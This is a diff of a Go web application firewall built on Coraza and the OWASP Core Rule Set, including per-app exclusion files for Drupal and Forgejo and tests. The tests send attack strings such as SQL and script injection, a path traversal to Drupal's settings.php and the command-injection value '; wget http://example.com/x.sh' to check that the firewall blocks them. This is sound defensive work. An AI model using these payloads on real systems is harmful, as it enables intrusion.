"id:900500,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932260;ARGS:from"
` `
// bodyDirectives have the Core Rule Set read the part of a request body // bodyDirectives have the Core Rule Set read the part of a request body
@@ -145,98 +189,76 @@ SecRule MULTIPART_STRICT_ERROR "!@eq 0" "id:900450,phase:2,pass,\
severity:'CRITICAL',setvar:'tx.inbound_anomaly_score_pl1=+5'" severity:'CRITICAL',setvar:'tx.inbound_anomaly_score_pl1=+5'"
` `
// app is an app whose ordinary requests the Core Rule Set would refuse, // giteaExclusions are the eighth change: the fields of gitea's own
// with the fixes that let them pass. // requests that skip the rules that refused them there, as Coraza
type app struct { // directives.
// directives are Coraza exclusions, loaded before the Core Rule Set's
// rules. Their first rule skips to the marker they end with, unless
// Inspect sets the transaction variable named for the app, such as
// app_gitea. The skip reaches only phase 1, so a rule of a later phase
// must check that variable itself.
directives string
// cookies are the cookies the Core Rule Set reads a request without.
cookies []string
// forkOf names the app this one is a fork of, "" for none. A hostname
// that lists this app gets that app's fixes too.
forkOf string
}
//go:embed gitea.conf
var giteaDirectives string
//go:embed wordpress.conf
var wordpressDirectives string
//go:embed drupal.conf
var drupalDirectives string
//go:embed mediawiki.conf
var mediawikiDirectives string
//go:embed mastodon.conf
var mastodonDirectives string
//go:embed vaultwarden.conf
var vaultwardenDirectives string
//go:embed nextcloud.conf
var nextcloudDirectives string
//go:embed forgejo.conf
var forgejoDirectives string
//go:embed ghost.conf
var ghostDirectives string
// apps are the apps whose fixes sww has, by the name SWW_WAF_APPS gives each.
// flash is Forgejo's name for gitea_flash.
// //
//nolint:gochecknoglobals // a constant cannot be a map //go:embed gitea.conf
var apps = map[string]app{ var giteaExclusions string
"drupal": {directives: drupalDirectives},
"forgejo": {
directives: forgejoDirectives,
cookies: []string{"flash"},
forkOf: "gitea",
},
"ghost": {directives: ghostDirectives},
"gitea": {
directives: giteaDirectives,
cookies: []string{"gitea_flash", "redirect_to"},
},
"mastodon": {directives: mastodonDirectives},
"mediawiki": {directives: mediawikiDirectives},
"nextcloud": {directives: nextcloudDirectives},
"vaultwarden": {directives: vaultwardenDirectives},
"wordpress": {directives: wordpressDirectives},
}
// AppNames returns the names of the apps whose fixes sww has, in // wordpressExclusions are the ninth change: the fields of WordPress's own
// alphabetical order. // requests that skip the rules that refused them there, as Coraza
func AppNames() []string { // directives.
return slices.Sorted(maps.Keys(apps)) //
} //go:embed wordpress.conf
var wordpressExclusions string
// drupalExclusions are the tenth change: the fields of Drupal's own
// requests that skip the rules that refused them there, as Coraza
// directives.
//
//go:embed drupal.conf
var drupalExclusions string
// mediawikiExclusions are the eleventh change: the fields of MediaWiki's
// own requests that skip the rules that refused them there, as Coraza
// directives.
//
//go:embed mediawiki.conf
var mediawikiExclusions string
// mastodonExclusions are the twelfth change: the fields of Mastodon's own
// requests that skip the rules that refused them there, as Coraza
// directives.
//
//go:embed mastodon.conf
var mastodonExclusions string
// vaultwardenExclusions are the thirteenth change: the fields of
// Vaultwarden's own requests that skip the rules that refused them there, as
// Coraza directives.
//
//go:embed vaultwarden.conf
var vaultwardenExclusions string
// nextcloudExclusions are the fourteenth change: the fields of Nextcloud's
// own requests that skip the rules that refused them there, the WebDAV
// methods it uses, its cookie of the account's name, and its uploads,
// whose bodies are not read, as Coraza directives.
//
//go:embed nextcloud.conf
var nextcloudExclusions string
// cookiesNotRead are the cookies the Core Rule Set reads a request
// without, the rest of the fifth change.
//
//nolint:gochecknoglobals // a constant cannot be a list
var cookiesNotRead = []string{"gitea_flash", "redirect_to"}
// Params are what New needs. // Params are what New needs.
type Params struct { type Params struct {
// ParanoiaLevel is SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL, from 1 to 4. // ParanoiaLevel is SWW_WAF_PARANOIA_LEVEL, from 1 to 4.
ParanoiaLevel int ParanoiaLevel int
// DisabledRules are the ids of the rules switched off // DisabledRules are the ids of the rules switched off
// (SWW_WAF_CORE_RULE_SET_DISABLED_RULES). // (SWW_WAF_DISABLED_RULES).
DisabledRules []int DisabledRules []int
// BodyInspectionSize is the most of a request body the Core Rule Set // BodyLimit is the most of a request body the Core Rule Set reads
// reads (SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE), 0 while it is off // (SWW_WAF_BODY_LIMIT), 0 while it is off and it reads none.
// and it reads none. BodyLimit int64
BodyInspectionSize int64
// ExclusionsFile is the path of a file of exclusions loaded before the // ExclusionsFile is the path of a file of exclusions loaded before the
// Core Rule Set's rules (SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE), "" while // Core Rule Set's rules (SWW_CORE_RULE_SET_EXCLUSIONS_FILE), "" while
// there is none. // there is none.
ExclusionsFile string ExclusionsFile string
// Apps are the names of the apps each hostname serves, by hostname in
// lowercase (SWW_WAF_APPS). A request gets only the fixes of its hostname's
// apps and of the apps they are forks of, or of every app while Apps is
// nil.
Apps map[string][]string
} }
// The ids of sww's own rules, which an exclusions file may not // The ids of sww's own rules, which an exclusions file may not
@@ -259,11 +281,9 @@ var errSwwRuleID = errors.New("an id of sww's own rules")
// directive that removes or changes rules as it loads, such as // directive that removes or changes rules as it loads, such as
// SecRuleRemoveById. The Core Rule Set's rules load after the file, so // SecRuleRemoveById. The Core Rule Set's rules load after the file, so
// the directive finds none of them. // the directive finds none of them.
var errChangesNoRule = errors.New( var errChangesNoRule = errors.New("the Core Rule Set's rules load after the file; " +
"the Core Rule Set's rules load after the file; " + "switch a rule off with SWW_WAF_DISABLED_RULES, or on some requests " +
"switch a rule off with SWW_WAF_CORE_RULE_SET_DISABLED_RULES, or on some requests " + "with a ctl exclusion")
"with a ctl exclusion",
)
// directivesIn returns the directives in text as Coraza reads them: it // directivesIn returns the directives in text as Coraza reads them: it
// skips blank lines and comment lines, and joins a line ending in \ to // skips blank lines and comment lines, and joins a line ending in \ to
@@ -307,27 +327,18 @@ func checkExclusions(exclusions string) error {
} }
if first <= lastOwnRuleID && last >= firstOwnRuleID { if first <= lastOwnRuleID && last >= firstOwnRuleID {
return fmt.Errorf( return fmt.Errorf("the exclusions file names %s: %w", match[0],
"the exclusions file names %s: %w", errSwwRuleID)
match[0],
errSwwRuleID,
)
} }
} }
// Coraza takes the directive's name up to the first space, without // Coraza takes the directive's name up to the first space, without
// regard to case. // regard to case.
name, _, _ := strings.Cut(directive, " ") name, _, _ := strings.Cut(directive, " ")
if lower := strings.ToLower(name); strings.HasPrefix( if lower := strings.ToLower(name); strings.HasPrefix(lower, "secruleremove") ||
lower,
"secruleremove",
) ||
strings.HasPrefix(lower, "secruleupdate") { strings.HasPrefix(lower, "secruleupdate") {
return fmt.Errorf( return fmt.Errorf("%s in the exclusions file changes no rule: %w", name,
"%s in the exclusions file changes no rule: %w", errChangesNoRule)
name,
errChangesNoRule,
)
} }
} }
@@ -339,21 +350,17 @@ func checkExclusions(exclusions string) error {
type CoreRuleSet struct { type CoreRuleSet struct {
engine coraza.WAF engine coraza.WAF
bodyLimit int64 bodyLimit int64
// appsByHostname are the names of the apps each hostname serves, by
// hostname in lowercase (SWW_WAF_APPS), nil while SWW_WAF_APPS is unset.
appsByHostname map[string][]string
} }
// New returns the Core Rule Set with the five changes and the apps' fixes, // New returns the Core Rule Set with the fourteen changes, at params'
// at params' paranoia level, without the rules it switches off, reading // paranoia level, without the rules it switches off, reading request
// request bodies up to params' limit, and with params' exclusions file // bodies up to params' limit, and with params' exclusions file loaded
// loaded before the Core Rule Set's rules. An exclusions file is an error // before the Core Rule Set's rules. An exclusions file is an error if it
// if it cannot be read or does not parse, or if checkExclusions refuses // cannot be read or does not parse, or if checkExclusions refuses it.
// it.
func New(params Params) (*CoreRuleSet, error) { func New(params Params) (*CoreRuleSet, error) {
body := "" body := ""
if params.BodyInspectionSize > 0 { if params.BodyLimit > 0 {
body = fmt.Sprintf(bodyDirectives, params.BodyInspectionSize) body = fmt.Sprintf(bodyDirectives, params.BodyLimit)
} }
exclusions := "" exclusions := ""
@@ -372,13 +379,10 @@ func New(params Params) (*CoreRuleSet, error) {
} }
} }
var fixes strings.Builder
for _, name := range AppNames() {
fixes.WriteString(apps[name].directives + "\n")
}
text := fmt.Sprintf(directives, params.ParanoiaLevel, body, exclusions, text := fmt.Sprintf(directives, params.ParanoiaLevel, body, exclusions,
fixes.String()) giteaExclusions, wordpressExclusions, drupalExclusions,
mediawikiExclusions, mastodonExclusions, vaultwardenExclusions,
nextcloudExclusions)
if len(params.DisabledRules) > 0 { if len(params.DisabledRules) > 0 {
ids := make([]string, len(params.DisabledRules)) ids := make([]string, len(params.DisabledRules))
@@ -396,11 +400,7 @@ func New(params Params) (*CoreRuleSet, error) {
return nil, fmt.Errorf("load the Core Rule Set: %w", err) return nil, fmt.Errorf("load the Core Rule Set: %w", err)
} }
return &CoreRuleSet{ return &CoreRuleSet{engine: engine, bodyLimit: params.BodyLimit}, nil
engine: engine,
bodyLimit: params.BodyInspectionSize,
appsByHostname: params.Apps,
}, nil
} }
// Result is what the Core Rule Set found in a request. // Result is what the Core Rule Set found in a request.
@@ -412,12 +412,11 @@ type Result struct {
Score int Score int
} }
// Inspect runs the Core Rule Set on r, a request from client, with the // Inspect runs the Core Rule Set on r, a request from client: on its
// fixes of the apps appsFor names for r's hostname: on its method, its URL // method, its URL with the query, and its headers, the Cookie header
// with the query, and its headers, the Cookie header without those apps' // without the cookies in cookiesNotRead, and on body, r's body as the
// cookies, and on body, r's body as the caller has it, as readBody reads // caller has it, as readBody reads it. It returns what it found, what it
// it. It returns what it found, what it read of body, and the error that // read of body, and the error that ended the reading early, if one did.
// ended the reading early, if one did.
func (c *CoreRuleSet) Inspect( func (c *CoreRuleSet) Inspect(
r *http.Request, client netip.Addr, body io.Reader, r *http.Request, client netip.Addr, body io.Reader,
) (Result, []byte, error) { ) (Result, []byte, error) {
@@ -425,24 +424,13 @@ func (c *CoreRuleSet) Inspect(
// Closing would remove the files Coraza wrote, and it writes none. // Closing would remove the files Coraza wrote, and it writes none.
defer func() { _ = tx.Close() }() defer func() { _ = tx.Close() }()
// The transaction's variables are set only through Coraza's interface
// for plugins.
state := tx.(plugintypes.TransactionState) //nolint:forcetypeassert // every one is
var cookiesNotRead []string
for _, name := range c.appsFor(r.Host) {
state.Variables().TX().Set("app_"+name, []string{"1"})
cookiesNotRead = append(cookiesNotRead, apps[name].cookies...)
}
tx.ProcessConnection(client.String(), 0, "", 0) tx.ProcessConnection(client.String(), 0, "", 0)
tx.ProcessURI(r.URL.String(), r.Method, r.Proto) tx.ProcessURI(r.URL.String(), r.Method, r.Proto)
for name, values := range r.Header { for name, values := range r.Header {
for _, value := range values { for _, value := range values {
if name == "Cookie" { if name == "Cookie" {
value = withoutCookies(value, cookiesNotRead) value = withoutCookiesNotRead(value)
if value == "" { if value == "" {
continue // it held those cookies alone continue // it held those cookies alone
} }
@@ -482,18 +470,14 @@ func (c *CoreRuleSet) Inspect(
} }
// readBody reads body, the body of the request in tx, which has run on // readBody reads body, the body of the request in tx, which has run on
// the request's headers, while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is // the request's headers, while SWW_WAF_BODY_LIMIT is set and the body is
// set and the body is of a kind the Core Rule Set reads: form data and // of a kind the Core Rule Set reads: form data and multipart, of which it
// multipart, of which it reads the first c.bodyLimit bytes, and JSON and // reads the first c.bodyLimit bytes, and JSON and XML, which it reads only
// XML, which it reads only when they are no longer than that, since they // when they are no longer than that, since they cannot be read in part.
// cannot be read in part.
// readBody reads one byte past the limit, to tell which they are, gives // readBody reads one byte past the limit, to tell which they are, gives
// the Core Rule Set what it reads, and returns what it read and the error // the Core Rule Set what it reads, and returns what it read and the error
// that ended the reading early, if one did. // that ended the reading early, if one did.
func (c *CoreRuleSet) readBody( func (c *CoreRuleSet) readBody(tx types.Transaction, body io.Reader) ([]byte, error) {
tx types.Transaction,
body io.Reader,
) ([]byte, error) {
if c.bodyLimit == 0 { if c.bodyLimit == 0 {
return nil, nil return nil, nil
} }
@@ -539,35 +523,9 @@ func score(tx types.Transaction) int {
return n return n
} }
// appsFor returns the names of the apps whose fixes a request for host, // withoutCookiesNotRead returns value, a Cookie header's, without the
// its Host header, gets: every app while SWW_WAF_APPS is unset, and otherwise // cookies in cookiesNotRead.
// those SWW_WAF_APPS lists for host's name, without the port and in func withoutCookiesNotRead(value string) string {
// lowercase, each followed by the app it is a fork of, if any.
func (c *CoreRuleSet) appsFor(host string) []string {
if c.appsByHostname == nil {
return AppNames()
}
hostname, _, err := net.SplitHostPort(host)
if err != nil {
hostname = host // it has no port
}
var names []string
for _, name := range c.appsByHostname[strings.ToLower(hostname)] {
names = append(names, name)
if apps[name].forkOf != "" {
names = append(names, apps[name].forkOf)
}
}
return names
}
// withoutCookies returns value, a Cookie header's, without the cookies
// named in cookiesNotRead.
func withoutCookies(value string, cookiesNotRead []string) string {
var kept []string var kept []string
for cookie := range strings.SplitSeq(value, ";") { for cookie := range strings.SplitSeq(value, ";") {
File diff suppressed because it is too large. Load diff
+5 -14
View File
@@ -1,13 +1,13 @@
# Drupal's fixes: on Drupal's paths, some fields skip the rules that refused # The tenth change: on Drupal's paths, some fields skip the rules that refused
# ordinary Drupal requests there. They are the fields where Drupal sends a # ordinary Drupal requests there. They are the fields where Drupal sends a
# search, a name, a file name or an address. Each exclusion runs with the # search, a name, a file name or an address. Each exclusion runs with the
# request, before the rules it switches off, so this file is loaded before the # request, before the rules it switches off, so this file is loaded before the
# Core Rule Set's rules. Each comment names a request a rule refused. An # Core Rule Set's rules. Each comment names a request a rule refused. An
# exclusion on a field of a body applies only when the query has no parameter # exclusion on a field of a body applies only when the query has no parameter
# of that name, so it matters only while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is # of that name, so it matters only while SWW_WAF_BODY_LIMIT is set. The
# set. The exclusions above the comment "The fields below are in bodies" also # exclusions above the comment "The fields below are in bodies" also cover a
# cover a body field of the same name whatever the query holds, and only those # body field of the same name whatever the query holds, and only those below it
# below it need a query without that name. # need a query without that name.
# #
# Each path may start with a language prefix, such as /fr in # Each path may start with a language prefix, such as /fr in
# /fr/admin/content. The prefix is two or three letters, then optionally a # /fr/admin/content. The prefix is two or three letters, then optionally a
@@ -25,13 +25,6 @@
# 932230: ls -la # 932230: ls -la
# 932235: python3 # 932235: python3
# Every rule below is skipped unless Inspect has set tx.app_drupal. It sets it
# while SWW_WAF_APPS is unset, or lists drupal for the request's hostname.
# The skip reaches only phase 1, so a rule of a later phase must check
# tx.app_drupal itself.
SecRule &TX:app_drupal "@eq 0" \
"id:900790,phase:1,pass,nolog,skipAfter:END_DRUPAL"
# Every admin page's filters and autocompletes, and the page to return to: # Every admin page's filters and autocompletes, and the page to return to:
# title: /admin/content?title=python3 # title: /admin/content?title=python3
# name: /admin/content/media?name=python3 # name: /admin/content/media?name=python3
@@ -330,5 +323,3 @@ SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/password$" \
SecRule &ARGS_GET:json.mail "@eq 0" \ SecRule &ARGS_GET:json.mail "@eq 0" \
"ctl:ruleRemoveTargetById=932120;ARGS:json.mail,\ "ctl:ruleRemoveTargetById=932120;ARGS:json.mail,\
ctl:ruleRemoveTargetById=932260;ARGS:json.mail" ctl:ruleRemoveTargetById=932260;ARGS:json.mail"
SecMarker END_DRUPAL
+29 -124
View File
@@ -5,11 +5,9 @@ import (
"net/url" "net/url"
"slices" "slices"
"testing" "testing"
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
) )
// drupalThreshold is SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default. // drupalThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
const drupalThreshold = 5 const drupalThreshold = 5
// drupalAddArticle is Drupal's form for a new article. // drupalAddArticle is Drupal's form for a new article.
@@ -39,20 +37,6 @@ const drupalEditAccount = "/user/2/edit"
// drupalName is the field for a person's name, as the start of a form body. // drupalName is the field for a person's name, as the start of a form body.
const drupalName = "name=" const drupalName = "name="
func TestDrupalFixesApplyOnlyToAHostnameThatServesDrupal(t *testing.T) {
t.Parallel()
crs := servingApps(t, map[string][]string{
giteaHost: {gitea}, otherHost: {"drupal"},
})
// A search, which only Drupal's fixes let through.
search := get("/search?keys=python3")
wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
wantResult(t, crs, withHost(search, giteaHost), matched(932260))
}
// drupalAttacks are an SQL injection, a path traversal and a script // drupalAttacks are an SQL injection, a path traversal and a script
// injection, as a query value. // injection, as a query value.
// //
@@ -140,25 +124,15 @@ func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
got, _ := inspectBody(t, crs, r, sent.body) got, _ := inspectBody(t, crs, r, sent.body)
if got.Score < drupalThreshold { if got.Score < drupalThreshold {
t.Errorf( t.Errorf("POST %s %q let through: %+v", sent.target, sent.body, got)
"POST %s %q let through: %+v",
sent.target,
sent.body,
got,
)
} }
} }
} }
}
// TestDrupalAttacksAreRefusedInTheExcludedJSONFields is the JSON half of for _, attack := range []string{
// TestDrupalAttacksAreRefusedInTheExcludedBodyFields. injection,
func TestDrupalAttacksAreRefusedInTheExcludedJSONFields(t *testing.T) { scriptTag,
t.Parallel() } {
crs := readingBodies(t)
for _, attack := range []string{injection, scriptTag} {
for _, field := range []string{ for _, field := range []string{
`"title":"` + attack + `"`, `"title":"` + attack + `"`,
`"body":{"value":"` + attack + `"}`, `"body":{"value":"` + attack + `"}`,
@@ -179,11 +153,7 @@ func TestDrupalAttacksAreRefusedInTheExcludedJSONFields(t *testing.T) {
} }
} }
r := request{ r := request{http.MethodPatch, "/node/2?_format=json", []string{jsonBody}}
http.MethodPatch,
"/node/2?_format=json",
[]string{jsonBody},
}
body := `{"title":[{"value":"` + attack + `"}]}` body := `{"title":[{"value":"` + attack + `"}]}`
got, _ := inspectBody(t, crs, r, body) got, _ := inspectBody(t, crs, r, body)
@@ -228,25 +198,14 @@ func TestDrupalPasswordFieldsPass(t *testing.T) {
wantPasswordFieldsPass(t, []passwordFields{ wantPasswordFieldsPass(t, []passwordFields{
{drupalRegister, formData, pass}, {drupalRegister, formData, pass},
{"/fr/user/register", formData, pass}, {"/fr/user/register", formData, pass},
{ {"/user/1/edit", formData, []string{"current_pass", pass[0], pass[1]}},
"/user/1/edit",
formData,
[]string{"current_pass", pass[0], pass[1]},
},
{"/admin/people/create", formData, pass}, {"/admin/people/create", formData, pass},
{drupalJSONRegister, jsonBody, []string{value}}, {drupalJSONRegister, jsonBody, []string{value}},
{drupalJSONRegister, jsonBody, []string{"pass.value"}}, {drupalJSONRegister, jsonBody, []string{"pass.value"}},
{ {"/user/1?_format=json", jsonBody, []string{value, "pass.0.existing"}},
"/user/1?_format=json",
jsonBody,
[]string{value, "pass.0.existing"},
},
{ {
"/jsonapi/user/user/86e2fbf4-0c01-4e2d-9c05-9a56e07f3e53", jsonBody, "/jsonapi/user/user/86e2fbf4-0c01-4e2d-9c05-9a56e07f3e53", jsonBody,
[]string{ []string{"data.attributes.pass.value", "data.attributes.pass.existing"},
"data.attributes.pass.value",
"data.attributes.pass.existing",
},
}, },
}) })
} }
@@ -259,15 +218,11 @@ func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) {
for _, attack := range []string{ for _, attack := range []string{
injection, injection,
scriptTag, scriptTag,
shellCommand, `; wget http://example.com/x.sh`,
`../../sites/default/settings.php`, `../../sites/default/settings.php`,
} { } {
for _, field := range []string{"name", "mail"} { for _, field := range []string{"name", "mail"} {
r := request{ r := request{http.MethodPost, drupalJSONPasswordReset, []string{jsonBody}}
http.MethodPost,
drupalJSONPasswordReset,
[]string{jsonBody},
}
body := `{"` + field + `":"` + attack + `"}` body := `{"` + field + `":"` + attack + `"}`
got, _ := inspectBody(t, crs, r, body) got, _ := inspectBody(t, crs, r, body)
@@ -286,23 +241,12 @@ func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) {
{"ls -la", 932250}, {"ls -la", 932250},
{".htaccess@example.com", 930120}, {".htaccess@example.com", 930120},
} { } {
r := request{ r := request{http.MethodPost, drupalJSONPasswordReset, []string{jsonBody}}
http.MethodPost,
drupalJSONPasswordReset,
[]string{jsonBody},
}
body := `{"mail":"` + kept.value + `"}` body := `{"mail":"` + kept.value + `"}`
got, _ := inspectBody(t, crs, r, body) got, _ := inspectBody(t, crs, r, body)
if got.Score < drupalThreshold || if got.Score < drupalThreshold || !slices.Contains(got.RuleIDs, kept.rule) {
!slices.Contains(got.RuleIDs, kept.rule) { t.Errorf("POST %s %s: %+v, want %d among them", r.target, body, got, kept.rule)
t.Errorf(
"POST %s %s: %+v, want %d among them",
r.target,
body,
got,
kept.rule,
)
} }
} }
} }
@@ -373,35 +317,10 @@ func TestDrupalCommandAttackIsRefusedInTheExcludedBodyFields(t *testing.T) {
got, _ := inspectBody(t, crs, r, sent.field+drupalCommandAttack) got, _ := inspectBody(t, crs, r, sent.field+drupalCommandAttack)
if got.Score < drupalThreshold { if got.Score < drupalThreshold {
t.Errorf( t.Errorf("POST %s %s let through: %+v", r.target, sent.field, got)
"POST %s %s let through: %+v",
r.target,
sent.field,
got,
)
} }
} }
// An address keeps 932250, which refuses ls -la.
r := request{http.MethodPost, drupalEditAccount, []string{formData}}
got, _ := inspectBody(t, crs, r, "mail=ls%20-la")
if got.Score < drupalThreshold || !slices.Contains(got.RuleIDs, 932250) {
t.Errorf(
"POST %s mail=ls%%20-la: %+v, want 932250 among them",
r.target,
got,
)
}
}
// TestDrupalCommandAttackIsRefusedInTheExcludedJSONFields is the JSON half
// of TestDrupalCommandAttackIsRefusedInTheExcludedBodyFields.
func TestDrupalCommandAttackIsRefusedInTheExcludedJSONFields(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
for _, field := range []string{ for _, field := range []string{
`"title":"; wget http://example.com/x.sh"`, `"title":"; wget http://example.com/x.sh"`,
`"subject":"; wget http://example.com/x.sh"`, `"subject":"; wget http://example.com/x.sh"`,
@@ -423,11 +342,7 @@ func TestDrupalCommandAttackIsRefusedInTheExcludedJSONFields(t *testing.T) {
} }
} }
r := request{ r := request{http.MethodPatch, "/node/2?_format=json", []string{jsonBody}}
http.MethodPatch,
"/node/2?_format=json",
[]string{jsonBody},
}
body := `{"title":[{"value":"; wget http://example.com/x.sh"}]}` body := `{"title":[{"value":"; wget http://example.com/x.sh"}]}`
got, _ := inspectBody(t, crs, r, body) got, _ := inspectBody(t, crs, r, body)
@@ -442,6 +357,14 @@ func TestDrupalCommandAttackIsRefusedInTheExcludedJSONFields(t *testing.T) {
if got.Score < drupalThreshold { if got.Score < drupalThreshold {
t.Errorf("POST %s %s let through: %+v", r.target, body, got) t.Errorf("POST %s %s let through: %+v", r.target, body, got)
} }
// An address keeps 932250, which refuses ls -la.
r = request{http.MethodPost, drupalEditAccount, []string{formData}}
got, _ = inspectBody(t, crs, r, "mail=ls%20-la")
if got.Score < drupalThreshold || !slices.Contains(got.RuleIDs, 932250) {
t.Errorf("POST %s mail=ls%%20-la: %+v, want 932250 among them", r.target, got)
}
} }
func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) { func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
@@ -465,13 +388,7 @@ func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
got, _ := inspectBody(t, crs, r, sent.field+value) got, _ := inspectBody(t, crs, r, sent.field+value)
if got.Score >= drupalThreshold { if got.Score >= drupalThreshold {
t.Errorf( t.Errorf("POST %s %s%s refused: %+v", sent.target, sent.field, value, got)
"POST %s %s%s refused: %+v",
sent.target,
sent.field,
value,
got,
)
} }
} }
} }
@@ -490,11 +407,7 @@ func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
t.Errorf("POST %s %s refused: %+v", r.target, body, got) t.Errorf("POST %s %s refused: %+v", r.target, body, got)
} }
r = request{ r = request{http.MethodPost, "/fr" + drupalJSONPasswordReset, []string{jsonBody}}
http.MethodPost,
"/fr" + drupalJSONPasswordReset,
[]string{jsonBody},
}
body = `{"name":"` + word + `"}` body = `{"name":"` + word + `"}`
got, _ = inspectBody(t, crs, r, body) got, _ = inspectBody(t, crs, r, body)
@@ -504,11 +417,7 @@ func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
} }
for _, address := range []string{"python3@example.com", "powershell@example.com"} { for _, address := range []string{"python3@example.com", "powershell@example.com"} {
r := request{ r := request{http.MethodPost, "/fr" + drupalJSONPasswordReset, []string{jsonBody}}
http.MethodPost,
"/fr" + drupalJSONPasswordReset,
[]string{jsonBody},
}
body := `{"mail":"` + address + `"}` body := `{"mail":"` + address + `"}`
got, _ := inspectBody(t, crs, r, body) got, _ := inspectBody(t, crs, r, body)
@@ -574,11 +483,7 @@ func TestDrupalBodyFieldsStayCheckedInTheQuery(t *testing.T) {
{drupalEditAccount, "mail=python3"}, {drupalEditAccount, "mail=python3"},
{drupalTagForm, "name%5B0%5D%5Bvalue%5D=python3"}, {drupalTagForm, "name%5B0%5D%5Bvalue%5D=python3"},
} { } {
r := request{ r := request{http.MethodPost, sent.path + "?" + sent.field, []string{formData}}
http.MethodPost,
sent.path + "?" + sent.field,
[]string{formData},
}
got, _ := inspectBody(t, crs, r, sent.field) got, _ := inspectBody(t, crs, r, sent.field)
if got.Score < drupalThreshold { if got.Score < drupalThreshold {
-145
View File
@@ -1,145 +0,0 @@
# Forgejo's fixes: on Forgejo's paths, some fields skip the rules that refused
# ordinary Forgejo requests there. Forgejo is a fork of gitea. A hostname that
# gets Forgejo's fixes gets gitea's too, so this file holds only what Forgejo
# sends and gitea does not. Each exclusion runs with the request, before the
# rules it switches off, so this file is loaded before the Core Rule Set's
# rules. Each comment names a request the rule refused.
# Every rule below is skipped unless Inspect has set tx.app_forgejo. It sets it
# while SWW_WAF_APPS is unset, or lists forgejo for the request's hostname.
# The skip reaches only phase 1, so a rule of a later phase must check
# tx.app_forgejo itself.
SecRule &TX:app_forgejo "@eq 0" \
"id:900670,phase:1,pass,nolog,skipAfter:END_FORGEJO"
# Forgejo's search of a wiki sends the text searched for in q, which skips
# these rules there:
# 930120: .htaccess
# 932120: powershell
# 932160: /bin/sh
# 932250: ls -la
# 932260: python3
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/wiki/search$" \
"id:900680,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:q,\
ctl:ruleRemoveTargetById=932120;ARGS:q,\
ctl:ruleRemoveTargetById=932160;ARGS:q,\
ctl:ruleRemoveTargetById=932250;ARGS:q,\
ctl:ruleRemoveTargetById=932260;ARGS:q"
# Forgejo's search of a repository's code at a branch or a tag sends the text
# searched for in q. The search box on a repository's home page sends it there
# when Forgejo has no code indexer, as by default. A branch or tag name can
# hold a slash, as feat/docker-support does. q skips there the rules it skips
# on gitea's search of code (900600 in gitea.conf). Among them, these refused
# Forgejo's searches there:
# 930120: .htaccess
# 932120: powershell
# 932160: /bin/sh
# 932250: ls -la
# 932260: python3
# Forgejo has no owner named api, so a path under /api/ gets none of this.
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/search/(?:branch|tag)/.+$" \
"id:900681,phase:1,pass,nolog,chain"
SecRule REQUEST_FILENAME "!@rx ^/api/" \
"ctl:ruleRemoveTargetById=930110;ARGS:q,\
ctl:ruleRemoveTargetById=930120;ARGS:q,\
ctl:ruleRemoveTargetById=931100;ARGS:q,\
ctl:ruleRemoveTargetById=932120;ARGS:q,\
ctl:ruleRemoveTargetById=932130;ARGS:q,\
ctl:ruleRemoveTargetById=932140;ARGS:q,\
ctl:ruleRemoveTargetById=932160;ARGS:q,\
ctl:ruleRemoveTargetById=932235;ARGS:q,\
ctl:ruleRemoveTargetById=932250;ARGS:q,\
ctl:ruleRemoveTargetById=932260;ARGS:q,\
ctl:ruleRemoveTargetById=932380;ARGS:q,\
ctl:ruleRemoveTargetById=933100;ARGS:q,\
ctl:ruleRemoveTargetById=933130;ARGS:q,\
ctl:ruleRemoveTargetById=933135;ARGS:q,\
ctl:ruleRemoveTargetById=934100;ARGS:q,\
ctl:ruleRemoveTargetById=934110;ARGS:q,\
ctl:ruleRemoveTargetById=934130;ARGS:q,\
ctl:ruleRemoveTargetById=941100;ARGS:q,\
ctl:ruleRemoveTargetById=941110;ARGS:q,\
ctl:ruleRemoveTargetById=941160;ARGS:q,\
ctl:ruleRemoveTargetById=941180;ARGS:q,\
ctl:ruleRemoveTargetById=941390;ARGS:q,\
ctl:ruleRemoveTargetById=942100;ARGS:q,\
ctl:ruleRemoveTargetById=942140;ARGS:q,\
ctl:ruleRemoveTargetById=942190;ARGS:q,\
ctl:ruleRemoveTargetById=942230;ARGS:q,\
ctl:ruleRemoveTargetById=944100;ARGS:q,\
ctl:ruleRemoveTargetById=944110;ARGS:q,\
ctl:ruleRemoveTargetById=944130;ARGS:q"
# A page opened from the results of that search has the search's address in
# Referer, which skips these rules then, as after gitea's searches (900601 in
# gitea.conf):
# 941110: <script>
# 941120: onClick={
# 941160: <img src=
# 942100: LIKE '%foo%'
# 944100: java.lang.Runtime
# A path under /api/ is left out here too.
SecRule REQUEST_HEADERS:Referer \
"@rx ^https?://[^/]+/[^/]+/[^/]+/search/(?:branch|tag)/[^?]+\?" \
"id:900684,phase:1,pass,nolog,chain"
SecRule REQUEST_HEADERS:Referer "!@rx ^https?://[^/]+/api/" \
"ctl:ruleRemoveTargetById=941110;REQUEST_HEADERS:Referer,\
ctl:ruleRemoveTargetById=941120;REQUEST_HEADERS:Referer,\
ctl:ruleRemoveTargetById=941160;REQUEST_HEADERS:Referer,\
ctl:ruleRemoveTargetById=942100;REQUEST_HEADERS:Referer,\
ctl:ruleRemoveTargetById=944100;REQUEST_HEADERS:Referer"
